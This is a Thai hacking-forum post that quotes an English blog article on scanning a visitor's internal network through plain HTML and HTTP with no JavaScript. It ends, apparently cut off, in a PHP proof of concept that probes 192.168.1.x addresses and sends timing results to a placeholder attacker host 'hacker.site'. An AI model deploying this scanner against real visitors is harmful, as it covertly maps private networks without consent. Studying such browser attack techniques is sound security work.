พอดีไปเจอมาน่าสนใจดีเดียว ยกนิ้วให้คนคิดวิธีเลย
เท่าที่เคยอ่าน เห็นหลายบทความเขียนเกี่ยวกับการ scan เครื่องใน network
โดยการใช้ javascript แต่ถ้าเครื่องเหยื่อปิดการทำงานของ javascript ก็อด
จึงมีคนคิดวิธีขึ้นมา ....
[hide=25]
Jeremiah Grossman เป็นคนเริ่มต้นคิดไอเดียนี้ขึ้นมา (คนนี้คิดเทคนิคน่าสนใจๆ เยอะแยะทีเดียว)
แต่ตอนที่ public ครั้งแรกเจ้่าตัวยังไม่ได้ทดสอบไอเดีย เนื่องจากงานยุ่ง
(เขาว่างั้นอ่ะนะ แต่ก็ไม่แปลกหรอก เพราะ Grossman เป็นถึง the founder and Chief Technology Officer of WhiteHat Security น่ะนะ)
หลังจาก Grossman ได้ public บทความเกี่ยวกับเรื่องนี้ ก็มีหลายคนพยายามทำ PoC หรือพัฒนาต่อ
จนภายหลัง Ilia Alshanetsky ได้พัฒนาวิธี optimize ขึ้นมา
ส่วนวิธีการก็ตาม link เลย
http://ilia.ws/archives/145-Network-Scanni...JavaScript.html
หรือ copy มาให้ เผื่อ link ตาย - -a
[quote]
The concept of doing network scanning via JavaScript is hardly new and is quite easy for anyone with even cursory knowledge of JavaScript. However, the assumption was that as long as you browse the web with JavaScript disabled you are safe from hostile sites from scanning your network. Alas, this was not to be, in a very interesting post Jeremiah Grossman shows how can this be done with plain HTML using no JavaScript what so ever.
His methodology relies on Firefox's quirk, whereby the page loading would wait for the <link> tag to be processed before rendering the rest of the page. This means you could use the link tag to reference local IPs and use a subsequent image to see how long did it take for the IP to respond. If the response was very quick, then you know the host has something listening on a given port and if it does not, well then the port is being blocked or filtered.
The problem with his approach is that to scan an entire network would be rather slow and require multiple iframes to perform the scan. Not to mention very noticeable, I decided to see if something can be done about this limitation.
The problem with scanning is that there is no way to set a timeout so, if you encounter a local IP that takes forever to reply your scan is effectively stalled. Jeremiah tried to resolve this by putting a meta-refresh tag, but it seems Firefox chooses to ignore this tag while waiting for the <link> tag to load.
Fortunately, Firefox, Safari and Opera support a very interesting Content-Type called "multipart/x-mixed-replace".
(It does not work in IE6, but I'd be very curious to know if IE7 supports this or not)
This mime type allows you to send segments of HTML that each represent a page of its own. Every time a browser gets a new segment it throws out the old one and renders the new content. This means you can using pure HTTP replace the content of the page without any HTML, JavaScript, etc... using purely server side languages such as PHP.
[code]
PHP:
<?php
$boundary = '----'.rand(1000, 9999).'----';
header('Content-Type: multipart/x-mixed-replace; boundary='.$boundary);
for ($i = 1; $i < 256; $i++) {
echo '
--'.$boundary.'
Content-Type: text/html; charset=utf-8
testing ip 192.168.1.'.$i.'</p>
<link rel="stylesheet" type="text/css" href="http://192.168.1.'.$i.'/" />
<img src="http://hacker.site/scan.php?ip=192.168.1.'.$i.'&s='.time().' />
';